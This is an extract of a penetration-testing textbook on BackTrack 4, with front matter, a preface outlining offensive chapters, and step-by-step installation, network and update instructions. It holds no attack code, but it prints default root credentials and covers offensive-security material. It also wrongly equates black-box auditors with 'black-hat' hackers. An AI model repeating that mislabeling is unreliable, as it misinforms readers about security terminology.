Backtrack
Backtrack
by Penetration Testing
Shakeel Ali
Tedi Heriyanto
BIRMINGHAM - MUMBAI
BackTrack 4: Assuring Security by Penetration Testing
All rights reserved. No part of this book may be reproduced, stored in a retrieval
system, or transmitted in any form or by any means, without the prior written
permission of the publisher, except in the case of brief quotations embedded in
critical articles or reviews.
Every effort has been made in the preparation of this book to ensure the accuracy
of the information presented. However, the information contained in this book is
sold without warranty, either express or implied. Neither the authors, nor Packt
Publishing, and its dealers and distributors will be held liable for any damages
caused or alleged to be caused directly or indirectly by this book.
Packt Publishing has endeavored to provide trademark information about all of the
companies and products mentioned in this book by the appropriate use of capitals.
However, Packt Publishing cannot guarantee the accuracy of this information.
ISBN 978-1-849513-94-4
www.packtpub.com
Indexers
Hemangini Bari
Tejal Daruwale
About the Authors
Shakeel Ali is the main founder and CTO of Cipher Storm Ltd, UK. His expertise
in the security industry markedly exceeds the standard number of security
assessments, audits, compliance, governance, and forensic projects that he carries
in day-to-day operations. He has also served as a Chief Security Officer at CSS-
Providers S.A.L. As a senior security evangelist and having spent endless nights
without taking a nap, he provides constant security support to various businesses,
educational organizations, and government institutions globally. He is an active
independent researcher who writes various articles and whitepapers, and manages
a blog at Ethical-Hacker.net. He also regularly participates in BugCon Security
Conferences held in Mexico, to highlight the best-of-breed cyber security threats and
their solutions from practically driven countermeasures.
Arif Jatmoko (MCom, CISSP, CISA, CCSP, CEH) is an IT Security Auditor at Bank
Mandiri tbk, the biggest bank in Indonesia. Arif has spent over 15 years working as a
computer security specialist. Since 1999, he joined a top Fortune 500 company as the
IT security officer, runs several projects in government and military institutions, is a
pentester at big4 audit firm and a few major financial institutions.
Since his early school years, Arif has enjoyed coding, debugging, and other reverse
engineering stuff. These hobbies have given him the skill to perform security
incident analysis for many years. Later (during his more current jobs), Arif was
found to be most interested in incident analysis and computer forensics. Especially
as an auditor, he frequently deals with investigative analysis in criminals and other
fraudulent activities inside the company.
http://PacktLib.PacktPub.com
Do you need instant solutions to your IT questions? PacktLib is Packt's online digital
book library. Here, you can access, read and search across Packt's entire library of books.
Why Subscribe?
• Fully searchable across every book published by Packt
• Copy and paste, print and bookmark content
• On demand and accessible via web browser
- Shakeel Ali -
- Tedi Heriyanto -
Table of Contents
Preface 1
PART I: Lab Preparation and Testing Procedures
Chapter 1: Beginning with BackTrack 9
History 9
BackTrack purpose 9
Getting BackTrack 11
Using BackTrack 12
Live DVD 12
Installing to hard disk 13
Installation in real machine 13
Installation in VirtualBox 14
Portable BackTrack 19
Configuring network connection 21
Ethernet setup 21
Wireless setup 22
Starting the network service 24
Updating BackTrack 24
Updating software applications 25
Updating the kernel 26
Installing additional weapons 29
Nessus vulnerability scanner 30
WebSecurify 31
Customizing BackTrack 32
Summary 34
Chapter 2: Penetration Testing Methodology 37
Types of penetration testing 38
Black-box testing 38
White-box testing 39
Vulnerability assessment versus penetration testing 39
Table of Contents
dnsmap-bulk 83
dnsrecon 84
fierce 85
Route information 86
0trace 86
dmitry 88
itrace 90
tcpraceroute 91
tctrace 92
Utilizing search engines 93
goorecon 93
theharvester 95
All-in-one intelligence gathering 96
Maltego 96
Documenting the information 101
Dradis 102
Summary 107
Chapter 5: Target Discovery 109
Introduction 109
Identifying the target machine 110
ping 110
arping 111
arping2 112
fping 113
genlist 115
hping2 116
hping3 117
lanmap 118
nbtscan 119
nping 121
onesixtyone 122
OS fingerprinting 122
p0f 123
xprobe2 124
Summary 126
Chapter 6: Enumerating Target 127
Port scanning 127
AutoScan 131
Netifera 134
Nmap 136
Nmap target specification 138
[ iii ]
Table of Contents
[ iv ]
Table of Contents
SQLiX 194
SQLMap 196
SQL Ninja 199
Application assessment tools 202
Burp Suite 202
Grendel Scan 204
LBD 206
Nikto2 207
Paros Proxy 209
Ratproxy 210
W3AF 212
WAFW00F 214
WebScarab 215
Summary 217
Chapter 8: Social Engineering 219
Modeling human psychology 220
Attack process 220
Attack methods 221
Impersonation 221
Reciprocation 222
Influential authority 222
Scarcity 223
Social relationship 223
Social Engineering Toolkit (SET) 224
Targeted phishing attack 225
Gathering user credentials 230
Common User Passwords Profiler (CUPP) 234
Summary 235
Chapter 9: Target Exploitation 237
Vulnerability research 238
Vulnerability and exploit repositories 240
Advanced exploitation toolkit 241
MSFConsole 242
MSFCLI 244
Ninja 101 drills 246
Scenario #1 246
Scenario #2 248
Scenario #3 252
Scenario #4 261
Scenario #5 263
Writing exploit module 268
Summary 273
[v]
Table of Contents
[ vii ]
Preface
BackTrack is a penetration testing and security auditing platform with advanced
tools to identify, detect, and exploit any vulnerabilities uncovered in the target
network environment. Applying appropriate testing methodology with defined
business objectives and a scheduled test plan will result in robust penetration testing
of your network.
The authors' experience and expertise enables them to reveal the industry's best
approach for logical and systematic penetration testing.
The first and so far only book on BackTrack OS starts with lab preparation and
testing procedures, explaining the basic installation and configuration set up,
discussing types of penetration testing (black box and white box), uncovering
open security testing methodologies, and proposing the BackTrack specific testing
process. The authors discuss a number of security assessment tools necessary to
conduct penetration testing in their respective categories (target scoping, information
gathering, discovery, enumeration, vulnerability mapping, social engineering,
exploitation, privilege escalation, maintaining access, and reporting), following
the formal testing methodology. Each of these tools is illustrated with real-world
examples to highlight their practical usage and proven configuration techniques.
The authors also provide extra weaponry treasures and cite key resources that may
be crucial to any professional penetration tester.
Preface
This book serves as a single professional, practical, and expert guide to develop
hardcore penetration testing skills from scratch. You will be trained to make the best
use of BackTrack OS either in a commercial environment or an experimental test bed.
A tactical example-driven guide for mastering the penetration testing skills with
BackTrack to identify, detect, and exploit vulnerabilities at your digital doorstep.
Chapter 4, Information Gathering, lands you in the information gathering phase. You
will learn several tools and techniques that can be used to gather metadata from
various types of documents, extract DNS information, collect routing information,
and moreover perform active and passive intelligence gathering. You will also learn
a tool that is very useful in documenting and organizing the information that has
been collected about the target.
[2]
Preface
Chapter 6, Enumerating Target, introduces you to the target enumeration process and
its purpose. You will learn what port scanning is, various types of port scanning, and
the number of tools required to carry out a port scanning operation. You will also
learn about mapping the open services to their desired ports.
Chapter 8, Social Engineering, covers some core principles and practices adopted by
professional social engineers to manipulate humans into divulging information or
performing an act. You will learn some of these basic psychological principles that
formulate the goals and vision of a social engineer. You will also learn about the
attack process and methods of social engineering, followed by real-world examples.
In the end of the chapter, you will be given hands-on exercises about two well-
known technology-assisted social engineering tools that can assist in evaluating the
target's human infrastructure.
Chapter 9, Target Exploitation, highlights the practices and tools that can be used to
conduct real-world exploitation. The chapter will explain what areas of vulnerability
research are crucial in order to understand, examine, and test the vulnerability.
Additionally, it will also point out several exploit repositories that should help to
keep you informed about the publicly available exploits and when to use them.
You will also learn to use one of the infamous exploitation toolkits from a target
evaluation perspective. Moreover, you will discover the steps for writing a simple
exploit module for Metasploit Framework.
Chapter 10, Privilege Escalation, covers the tools and techniques for escalating
privileges, network sniffing and spoofing. You will learn the tools required to attack
password protection in order to elevate the privileges. You will also learn about the
tools that can be used to sniff the network traffic. In the last part of this chapter, you
will discover several tools that can be handy in launching the spoofing attacks.
Chapter 11, Maintaining Access, introduces the most significant tools for protocol
tunneling, proxies, and end-to-end communication. These tools are helpful to create
a covert channel between the attacker and the victims machine.
[3]
Preface
Chapter 12, Documentation and Reporting, covers the penetration testing directives
for documentation, report preparation, and presentation. These directives draw a
systematic, structured, and consistent way to develop the test report. Furthermore,
you will learn about the process of results verification, types of reports, presentation
guidelines, and the post testing procedures.
Appendix A, Supplementary Tools, describes several additional tools that can be used
for the penetration testing job.
Conventions
In this book, you will find a number of styles of text that distinguish between
different kinds of information. Here are some examples of these styles, and an
explanation of their meaning.
Code words in text are shown as follows: "We can include other contexts through the
use of the include directive."
When we wish to draw your attention to a particular part of a code block, the
relevant lines or items are set in bold:
# SET TO ON IF YOU WANT TO USE EMAIL IN CONJUNCTION WITH WEB ATTACK
WEBATTACK_EMAIL=ON
[4]
Preface
Reader feedback
Feedback from our readers is always welcome. Let us know what you think about
this book—what you liked or may have disliked. Reader feedback is important for
us to develop titles that you really get the most out of.
If there is a book that you need and would like to see us publish, please send
us a note in the SUGGEST A TITLE form on www.packtpub.com or e-mail
[email protected].
If there is a topic that you have expertise in and you are interested in either writing
or contributing to a book, see our author guide on www.packtpub.com/authors.
Customer support
Now that you are the proud owner of a Packt book, we have a number of things to
help you to get the most from your purchase.
[5]
Preface
Errata
Although we have taken every care to ensure the accuracy of our content, mistakes
do happen. If you find a mistake in one of our books—maybe a mistake in the text or
the code—we would be grateful if you would report this to us. By doing so, you can
save other readers from frustration and help us improve subsequent versions of this
book. If you find any errata, please report them by visiting http://www.packtpub.
com/support, selecting your book, clicking on the errata submission form link, and
entering the details of your errata. Once your errata are verified, your submission
will be accepted and the errata will be uploaded on our website, or added to any list
of existing errata, under the Errata section of that title. Any existing errata can be
viewed by selecting your title from http://www.packtpub.com/support.
Piracy
Piracy of copyright material on the Internet is an ongoing problem across all media.
At Packt, we take the protection of our copyright and licenses very seriously. If you
come across any illegal copies of our works, in any form, on the Internet, please
provide us with the location address or website name immediately so that we can
pursue a remedy.
We appreciate your help in protecting our authors, and our ability to bring you
valuable content.
Questions
You can contact us at [email protected] if you are having a problem with any
aspect of the book, and we will do our best to address it.
[6]
PART I
Lab Preparation
and Testing
Procedures
At the end of this chapter, we will describe how to install additional weapons and
customize BackTrack.
History
BackTrack is a Live DVD Linux distribution developed specifically for penetration
testing. In the Live DVD format, you can use BackTrack directly from the DVD
without installing it to your machine. BackTrack can also be installed to the hard disk
and used as a regular operating system.
As of July 19, 2010, BackTrack 4 has been downloaded by more than 1.5 million users.
BackTrack purpose
BackTrack 4.0 contains a number of tools that can be used during your penetration
testing process. The penetration testing tools included in Backtrack 4.0 can be
categorized into the following:
Beginning with BackTrack
• Information gathering: This category contains several tools that can be used
to get information regarding a target DNS, routing, e-mail address, websites,
mail server, and so on. This information is gathered from the available
information on the Internet, without touching the target environment.
• Network mapping: This category contains tools that can be used to check the
live host, fingerprint operating system, application used by the target, and
also do portscanning.
• Vulnerability identification: In this category you can find tools to scan
vulnerabilities (general) and in Cisco devices. It also contains tools to carry
out fuzzing and analyze Server Message Block (SMB) and Simple Network
Management Protocol (SNMP).
• Web application analysis: This category contains tools that can be used in
auditing web application.
• Radio network analysis: To audit wireless networks, bluetooth and Radio
Frequency Identifier (RFID), you can use the tools in this category.
• Penetration: This category contains tools that can be used to exploit the
vulnerabilities found in the target machine.
• Privilege escalation: After exploiting the vulnerabilities and gaining access
to the target machine, you can use tools in this category to escalate your
privilege to the highest privilege.
• Maintaining access: Tools in this category will be able to help you in
maintaining access to the target machine. You might need to get the highest
privilege first before you can install tool to maintain access.
• Voice Over IP (VOIP): To analyze VOIP you can utilize the tools in this
category.
• Digital forensics: In this category you can find several tools that can be used
to do digital forensics such as acquiring hard disk image, carving files, and
analyzing hard disk image. To use the tools provided in this category, you
may want to choose Start BackTrack Forensics in the booting menu. Some
practical forensic procedures require you to mount the internal hard disk and
swap files in read-only mode to preserve evidence integrity.
• Reverse engineering: This category contains tools that can be used to debug
a program or disassemble an executable file.
[ 10 ]
Chapter 1
Getting BackTrack
Before installing and using BackTrack, first we need to download it. You can get
BackTrack 4.0 from a torrent file or from the BackTrack website (http://www.
backtrack-linux.org/downloads/).
On the BackTrack website, you will find two versions of BackTrack 4. One version
is BackTrack 4 in ISO image file format. You use this version if you want to
burn the image to a DVD or you want to install BackTrack to your machine. The
second version is a VMWare image file. If you want to use BackTrack in a virtual
environment, you might want to use this image file to speed up the installation and
configuration for the virtual environment.
At the time of this writing, the latest version is BackTrack 4 Final Release, so make
sure on the download page to choose the download from BackTrack 4 Final Release.
After you've downloaded the image successfully, please compare the MD5 hash
value from the downloaded image to the provided MD5 hash value. This is done to
verify that the downloaded file has not been tampered.
In a Windows operating system environment, there are many tools that can be used
to generate a MD5 hash value, and one of them is HashTab. It is available from
http://beeblebrox.org/. It supports MD5, SHA1, SHA2, RIPEMD, HAVAL, and
Whirlpool hash algorithms.
After you install HashTab, to find out the MD5 hash value of a file, just select the
file, then right-click, and choose Properties. You will find several tabs: General, File
Hashes, Security, Details, and Previous Version. The tab that is suitable for our
purpose is File Hashes.
The following is the MD5 hash value generated by HashTab for the BackTrack 4 ISO
image file:
[ 11 ]
Beginning with BackTrack
The following is the MD5 hash value for the BackTrack 4 compressed VMWare
image file:
You need to compare the MD5 hash value with the provided MD5 hash value. This
hash value is stored in a file. Just look at the content of that file and compare it with
the hash value generated by md5sum or HashTab. If both values match, you can
continue to the next step Using BackTrack, but if they don't match, you might want to
download the file again.
Using BackTrack
You can use BackTrack in several ways:
Live DVD
If you want to use BackTrack without installing it to the hard disk, you can burn the
ISO image file to DVD, and boot your machine with that DVD. BackTrack will then
run from the DVD.
The advantage of using BackTrack as a Live DVD is that it is very easy to do and you
don't need to mess with your existing machine configuration.
Unfortunately, that method also has several drawbacks. BackTrack may not work
with your hardware straight out-of-the-box, and any configuration changes made
to get the hardware to work will not be saved with the Live DVD. Additionally, it is
slow, because the computer needs to load the program from DVD.
If you want to work with BackTrack extensively, we suggest you install BackTrack to
the hard disk.
[ 12 ]
Chapter 1
One of the resources that describe how to install BackTrack with other
operating systems such as Windows XP can be found at: http://www.
backtrack-linux.org/tutorials/dual-boot-install/.
We suggest you use a specific tool for disk partitioning. In the open source area, there
are several Linux Live CDs that can be used, such as SystemRescueCD (http://www.
sysresccd.org/) and gparted (http://gparted.sourceforge.net/). Boot up
the Live CD and you are ready for action. Please make sure to backup your data first
before you use Linux Live CD disk partitioning tool. Even though in our experiences,
they are safe to be used, there is nothing wrong about being cautious.
If you're done with disk partitioning or you just want to use all the hard disk space, you
can boot your machine using BackTrack 4 Live DVD. Then wait for several minutes
until the boot process is done and you will be greeted with the following login screen:
Just in case you are asked for a login prompt, here is the default username and
password in BackTrack 4:
• Username: root
• Password: toor
[ 13 ]
Beginning with BackTrack
To enter the graphical mode, please type startx in the root prompt, and you will
enter the graphical mode of BackTrack 4:
startx
If you find a file named install.sh on your desktop, you can click on it to install
BackTrack 4 to the hard disk. However, if you can't find that file, you can use
ubiquity to do the installation.
To use ubiquity, open the Konsole terminal program, by clicking its icon that is the
fifth icon from the left in the status bar. In the Konsole window, type:
ubiquity
After that you will see an installation window. You will be asked several questions
by the installation program:
• Your city location: Please select the city you are living in using the map or the
drop-down box.
• Keyboard layout: You can use the default keyboard layout, USA-USA if you
have no specific keyboard layout.
• Disk partitioning: Here the installer will guide you through the disk
partitioning process. If you have partitioned the disk before, you can select
the "Guided – use the entire disk" to use the whole partition.
• The installer will display all of the selection that you have chosen for
confirmation. If there is nothing to change, you can click on the Install button
to do the installation.
After some time, your installation will be done and you will have BackTrack 4
installed to your hard disk.
Installation in VirtualBox
You can also install BackTrack to a virtual machine environment as a guest operating
system. The advantages for doing this installation type are you don't need to prepare a
separate hard disk partition for the BackTrack image, and you can have your existing
operating system intact. The main disadvantages of running BackTrack in a virtual
machine are that it is slower compared to running it in the real machine, and you
cannot use a wireless network card unless it's a USB wireless card. This is because the
virtual machine software blocks all access to the hardware except for USB devices.
You have two options when it comes to installing BackTrack 4 in a virtual machine.
The first option is to use the VMWare image provided by BackTrack. With this
option you will have BackTrack 4 in a virtual machine in an easy and fast way. The
drawback of this method is you might not be able to change the virtual machine
configuration (hard disk size).
[ 14 ]
Chapter 1
• Memory: 768 MB
• Hard disk: 30GB (in several separate image files, each of the files is sized at 2GB)
• Network: NAT
The second option is to install the ISO image in a virtual machine. This option
is quite involved and will take a longer time compared to the VMWare image
installation. The advantage of this method is that you can customize your virtual
machine configuration.
For this chapter, we will only give a description of the VMWare image installation.
Please be aware that we are going to use VirtualBox (http://www.virtualbox.
org) as the virtual machine software. VirtualBox is an open source virtualization
software that is available for Windows and Linux operating systems.
The first step to install the BackTrack 4 VMWare image is downloading the necessary
image file and extracting it to the appropriate folder. As the VMWare image is
compressed in a ZIP format, you can use any software that can extract a ZIP file.
Also make sure you have already installed and configured the VirtualBox suitable
for your operating system.
Before you can use the image directly in VirtualBox, you need to perform several
additional steps:
• Add the VMWare image file so it will be available to the virtual machine
operating system. This can be done by opening File - Virtual Media
Manager and then clicking on Add.
[ 15 ]
Beginning with BackTrack
• If there is no error, you will see the image file in Virtual Media Manager.
After adding the image file to the Virtual Media Manager, we can create the
virtual machine. To do this, select Machine – New from the VirtualBox main
menu. Next, you will need to answer several questions:
• We use BT4VB as the VM Name, and we choose Linux as the Operating
System and Ubuntu as the Version.
[ 16 ]
Chapter 1
• Next we define the Virtual Hard Disk to Use existing hard disk, and select
the BackTrack 4 image file for the hard disk.
[ 17 ]
Beginning with BackTrack
• The wizard will display a summary before creating the virtual machine.
• The virtual machine creation is finished and you will see BackTrack 4 virtual
machine in the VirtualBox window.
[ 18 ]
Chapter 1
• To run the BackTrack virtual machine, click on the Start icon at the top of the
VirtualBox menu bar. After the boot process, BackTrack will display its login
prompt.
You can then login using the information provided in the Installation in real machine
section.
Portable BackTrack
You can also install BackTrack to a USB flash disk; we call this method Portable
BackTrack. After you install it to the USB flash disk, you can boot up from it and
your machine now has BackTrack.
The advantage of this method compared to the Live DVD is that you can save your
changes to the USB flash disk. While compared to the hard disk installation, this
method is more portable.
To create portable BackTrack, you can use several helper tools. One of them is
UNetbootin (http://unetbootin.sourceforge.net). You can run this tool from
Windows, Linux/UNIX, and Mac operating system.
Before you start creating portable BackTrack, you need to prepare several things:
• BackTrack ISO image: While you can use unetbootin to download the
image directly when creating the BackTrack portable, we think it's much
better to download the ISO first and then configure unetbootin to use the
image file.
• USB flash disk: You need an empty USB flash disk with enough space on it.
We suggest using at least a 16GB USB flash disk.
After you download unetbootin, you can run it on your computer by calling
unetbootin from the root login (if you are using Linux/UNIX), you don't need to
use BackTrack for this. You will then see the unetbootin window.
[ 19 ]
Beginning with BackTrack
• Next unetbootin will extract, copy files, and install the bootloader to the
USB flash disk.
• After the process is done, unetbootin will ask you to reboot the machine.
Save all your work first and then click on the Reboot button on unetbootin.
You may want to configure your BIOS (Basic Input Output System) to boot
from USB disk. If there is no error, you will boot up to the BackTrack USB
flash disk.
[ 20 ]
Chapter 1
Ethernet setup
In the default VMWare image configuration, the BackTrack 4 virtual machine is
using NAT (Network Address Translation) as the network connection used. In
this connection mode, by default the BackTrack 4 machine will be able to connect to
the outside world through the host operating system, whereas the outside world,
including the host operating system, will not be able to connect to the BackTrack
virtual machine.
For the penetration testing task, you need to change the virtual machine networking
method to bridge mode. First make sure you have switched off the virtual machine.
Then open up the VirtualBox Manager, select the virtual machine, in this case we are
using BT4VB, then choose Settings. Next go to Network and change the Attached to
to Bridged Adapter. In the Name field you can select whichever network interface is
connected to the network you want to test.
In the VMWare image configuration all of the network card are set to use DHCP to get
their IP addresses. Just make sure you are able to connect to the network you want to
test.
If you are aware, a DHCP IP address is not a permanent IP address, it's just a lease
IP address. After 37297 seconds (as defined in the DHCP lease time), the BackTrack
4 virtual machine will need to get a lease IP address again. This IP address might be
the same as the previous one or it might be a different one.
If you want to make the IP address permanent, you can do so by putting the IP
address in the /etc/network/interfaces file.
[ 21 ]
Beginning with BackTrack
We can see that all of the network cards are set to use DHCP to get the IP address. To
make a network card bind to an IP address permanently, we have to edit that file and
change the content to the following:
auto eth0
iface eth0 inet static
address 10.0.2.15
netmask 255.255.255.0
network 10.0.2.0
broadcast 10.0.2.255
gateway 10.0.2.2
Here we set the first network card to bind to IP address 10.0.2.15. You may need to
adjust this configuration according to the network environment you want to test.
Wireless setup
By running BackTrack 4 in the virtual machine, you can't use the wireless card
embedded in your laptop. You can only use the USB wireless card. Before you
buy the USB wireless card, you may want to check the compatibility of the card
with BackTrack 4 at http://backtrack.offensive-security.com/index.php/
HCL:Wireless.
If you have successfully installed the USB wireless card, you can use the wicd
program to connect to the wireless access point.
[ 22 ]
Chapter 1
Also, if you run the preceding command before you start the X Windows system, it
will run the wicd-client too. However, if you start the above command after you
login to the X Windows system, you need to start the wicd client:
# wicd-client
Loading...
Attempting to connect tray to daemon...
Success.
Done.
In the tray you will see the wicd manager. You just need to click on its icon to restore
the window.
You will see several networks, either wired or wireless, available around your
machine. The network displayed will be sorted according to the signal strength. The
higher the number, the better.
[ 23 ]
Beginning with BackTrack
• Static IP address
• Static DNS server
• Wireless encryption
You can test whether your network is functional by sending the ICMP request to the
host machine using the ping command.
You may find that after you reboot your BackTrack machine, the networking service
needs to be started again. To make the networking service start automatically, you
can give the following command:
update-rc.d networking defaults
It will insert the necessary links to the /etc/rc*.d directories to start the
networking script.
Updating BackTrack
BackTrack is a Linux distribution that consists of several application software and
an operating system. You need to update each of the components to fix the bugs
contained in the previous version and also to have the latest features of the software.
We suggest you only update the software and kernel from the BackTrack software
package repository, as these softwares have been tested with BackTrack.
[ 24 ]
Chapter 1
The apt-get will consult the /etc/apt/sources.list file to get the update server;
please make sure you have the correct source files.
Before you can update the process, you need to synchronize the package index files
from the repository specified in the /etc/apt/sources.list file. The command to
do this synchronization is:
apt-get update
Make sure you always run apt-get update before doing any package update or
installation.
After the package index has been synchronized, the upgrade can be performed.
• apt-get upgrade: This command will upgrade all of the packages currently
installed on the machine to the latest version. If there is a problem in
upgrading the package, that package will be left intact at the current version.
[ 25 ]
Beginning with BackTrack
After you choose the appropriate command options for updating BackTrack, the
apt-get program will list all of the packages that will be installed, upgraded, or
removed. You will then need to give the confirmation.
If you have given the confirmation, the upgrade process will start. Please be aware
that this upgrade process might take a long time to finish, depending on your
network connection speed.
Before you upgrade your kernel, you need to know the kernel version running in
your existing machine by giving the following command in the command:
uname -a
The system will respond with the kernel version, such as:
Linux nirvana 2.6.27.45-0.1-default #1 SMP 2010-02-22 16:49:47 +0100
x86_64 x86_64 x86_64 GNU/Linux
The latest kernel available in BackTrack 4 at the time of writing is kernel version
2.6.34. If your kernel version is lower than 2.6.34 and you have problems with your
hardware driver, then you may need to upgrade your kernel.
As the kernel is just another software package, the process to upgrade the kernel is
the same as updating the software applications. First, you issue the synchronization
command apt-get update, and then issue the apt-get upgrade command to
upgrade the kernel.
[ 26 ]
Chapter 1
That command will inform you of what kernel packages are available to be
upgraded. The kernel package names are:
The kernel-version refers to the version of the kernel. If you see those package
names, it means there is a new kernel available to be upgraded, but you also need to
check the kernel version. Make sure the upgraded packages have newer version than
the existing packages available in your machine.
After you are sure that you need to upgrade, answer Y to continue the process. Then
the apt-get command will download all the necessary software packages.
Usually for the other software packages, if they have been downloaded, the apt-get
will install them automatically and you don't need to do anything. However, for the
kernel, you need to do several configurations after the kernel installation.
[ 27 ]
Beginning with BackTrack
First the apt-get will display a notification regarding the kernel image
configuration:
Next, it will display whether you want to continue or stop the kernel installation,
because the kernel-image is already installed. You can answer No to continue
installing the kernel image, or you can opt for Yes to stop the installation.
After the installation finishes, you will be asked what to do about the menu.lst
file. This file is a configuration menu for GRand Unified Boot Loader (GRUB) boot
loader. The default option selected by apt-get is keep current. If you select this
option, your new kernel-image will not be added to the menu.lst file, thus you can't
select it during the boot process.
[ 28 ]
Chapter 1
We suggest you choose the diff option first to see what are the differences between
the existing menu.lst file and the new one.
Symbol + denotes it is an additional item, the line is only available in the new menu.
lst, while the symbol - means that the line is to be deleted in the new menu.lst.
After you've checked the differences, you can decide what to do. Usually the new
menu.lst file will contain all of the content of the existing menu.lst and the lines
for the new kernel-image. So it should be safe to install the new menu.lst file by
selecting install new.
The apt-get will install the new menu.lst file after you choose to install it. Several
minutes later you can reboot your machine to test your new kernel.
To check your kernel version, type the following command after you login:
uname -a
[ 29 ]
Beginning with BackTrack
Our suggestion is to try to first search for the package in the repository. If you find
the package in the repository, please use that package, but if you can't find it, you
may want to get the software package from the author's website and install it by
yourself. We suggest you use the software in the repository as much as you can.
If you found the package and you want to get more information about it, use:
apt-cache show <package_name>
However, if you can't find the package in the repository and you are sure that the
package will not cause any problems later on, you can install the package by yourself.
Download the software package from a trusted source. Then use the dpkg command
to add the additional software. Make sure that the software is bundled in Debian
package format (DEB).
In this section, we will give examples on how to install additional security tools. The
tools are Nessus and WebSecurify.
We download the latest Nessus package generated for Ubuntu 8.10 Linux
distribution from Nessus website (http://www.nessus.org). To install the package
we issue the command:
dpkg -i Nessus-x.y.z-ubuntu810_i386.deb
You can then follow the instructions given on the screen to configure your Nessus:
[ 30 ]
Chapter 1
• Run /opt/nessus/sbin/nessus-adduser.
• Install the activation code using the Internet:
/opt/nessus/bin/nessus-fetch --register <your_activation_code>
Your activation code is sent to your e-mail address if you give your e-mail
address before you download Nessus.
• Start Nessus server by typing:
/etc/init.d/nessusd start
WebSecurify
WebSecurify is a web security testing environment that can be used to find
vulnerabilities in web applications.
[ 31 ]
Beginning with BackTrack
• SQL injection
• Local and remote file include
• Cross-site scripting
• Cross-site request forgery
• Information disclosure problems
• Session security problems
WebSecurify tool is available from the BackTrack repository. To install it you can use
the apt-get command:
# apt-get install websecurify
Besides the three tools that have already been discussed briefly, you can also search
for other tools in the BackTrack repository using the apt-cache search command.
Customizing BackTrack
One of the drawbacks we found while using BackTrack 4 is that you need to
perform a big upgrade (300MB to download) after you've installed it from the ISO
or from the VMWare image provided. If you have one machine and a high speed
Internet connection, there's nothing much to worry about. However, imagine
installing BackTrack 4 in several machines, in several locations, with a slow internet
connection.
The solution to this problem is by creating an ISO image with all the upgrades
already installed. If you want to install BackTrack 4, you can just install it from the
new ISO image. You won't have to download the big upgrade again.
While for the VMWare image, you can solve the problem by doing the upgrade in
the virtual image, then copying that updated virtual image to be used in the new
VMWare installation.
Besides easing the package upgrade, by customizing BackTrack you can adjust it to
suit your needs. There may be a case where you don't need security tools provided by
BackTrack 4 or you want to add additional software for your BackTrack installation.
By customizing it, you don't need to waste your time removing, installing, and
configuring software packages. You can just use your customized BackTrack!
To create an updated BackTrack ISO image, you need to install BackTrack to the
hard disk first, either using the traditional installation or using the virtual machine
environment.
[ 32 ]
Chapter 1
Here are the steps that can be used to create an updated BackTrack ISO image:
• Create a special directory to become the working directory for ISO creation.
For example, to create a working directory named ISO, issue the command:
mkdir ISO
• Change to the working directory and run the script by giving the commands:
cd ISO
./bt4.sh
[ 33 ]
Beginning with BackTrack
• You might need to be patient at this step, because these commands will take
some time to upgrade your BackTrack 4 installation, depending on your
Internet speed.
• Delete retrieved software packages from local repository:
apt-get clean
• After you are satisfied with your modification, you can generate the new ISO
image by typing exit to quit from the live CD environment:
exit
• Be aware that this process will take a long time to finish. The generated ISO
image file will have size according to the software packages chosen. If you
add many software packages the ISO image file generated may be bigger
than the default ISO image file which is 1.5GB.
• Next you need to test the newly generated ISO image file. You can use QEMU
or virtual environment in another machine to do this. The fastest way to test
it is by using the QEMU command :
qemu -cdrom bt4-final.iso
• In the booting menu list, choose Start BackTrack in text mode. In my machine,
it took around 3 minutes from booting to the root prompt. You can then test
the software packages you have installed. If there are no problems, the newly
generated ISO image file can be used for the BackTrack installation.
Summary
This chapter introduced you to the wonderful world of BackTrack, a Live DVD
Linux distribution, specially developed to help in the penetration testing process.
We started this chapter with a brief history of BackTrack. Next, we moved on to see
what functionalities BackTrack offers. BackTrack currently has tools to help you with
penetration testing, and it also has tools for digital forensics and reverse engineering.
We then continue to describe how to get BackTrack and several ways to use it. We
can use BackTrack as a Live DVD without installing it to the hard disk, or we can
install it to the hard disk, and we can also use it as a Portable BackTrack by installing
it to the USB flash disk.
[ 34 ]
Chapter 1
Before we can do information security audit using BackTrack, we need to configure its
network connection first, either through wired Ethernet or using wireless connection.
Like any other software, we also need to update BackTrack, either by updating the
software applications or the Linux kernel included in the distribution. This update
process is necessary in order for us to use the most stable version of the software.
Then we look at how to install additional information security tools not included by
default in BackTrack 4.
[ 35 ]
Penetration Testing
Methodology
Penetration Testing, sometimes abbreviated as PenTest, is a process that is followed
to conduct a hardcore security assessment or audit. A methodology defines a set of
rules, practices, procedures, and methods that are pursued and implemented during
the course of any information security audit program. Thus, penetration testing
methodology defines a roadmap with practical ideas and proven practices which
should be handled with great care in order to assess the system security correctly.
This chapter summarizes each step of penetration testing methodology with its
reasonable description which may help you to understand and focus the testing
criteria with the BackTrack operating system environment. The key topics covered in
this chapter include:
Black-box testing
The black-box approach is also known as external testing. While applying this
approach, the security auditor will be assessing the network infrastructure from
a remote location and will not be aware of any internal technologies deployed
by the concerning organization. By employing the number of real world hacker
techniques and following through organized test phases, it may reveal some known
and unknown set of vulnerabilities which may otherwise exist on the network. An
auditor dealing with black-box testing is also known as black-hat. It is important for
an auditor to understand and classify these vulnerabilities according to their level
of risk (low, medium, or high). The risk in general can be measured according to the
threat imposed by the vulnerability and the financial loss that would have occurred
following a successful penetration. An ideal penetration tester would undermine
any possible information that could lead him to compromise his target. Once the
test process is completed, a report is generated with all the necessary information
regarding the target security assessment, categorizing and translating the identified
risks into business context.
[ 38 ]
Chapter 2
White-box testing
The white-box approach is also referred to as internal testing. An auditor involved
in this kind of penetration testing process should be aware of all the internal and
underlying technologies used by the target environment. Hence, it opens a wide
gate for an auditor to view and critically evaluate the security vulnerabilities with
minimum possible efforts. An auditor engaged with white-box testing is also known
as white-hat. It does bring more value to the organization as compared to the black-
box approach in the sense that it will eliminate any internal security issues lying at
the target infrastructure environment, thus, making it more tightened for malicious
adversary to infiltrate from the outside. The number of steps involved in white-box
testing is a bit more similar to that of black-box, except the use of the target scoping,
information gathering, and identification phases can be excluded. Moreover, the
white-box approach can easily be integrated into a regular development lifecycle to
eradicate any possible security issues at its early stage before they get disclosed and
exploited by intruders. The time and cost required to find and resolve the security
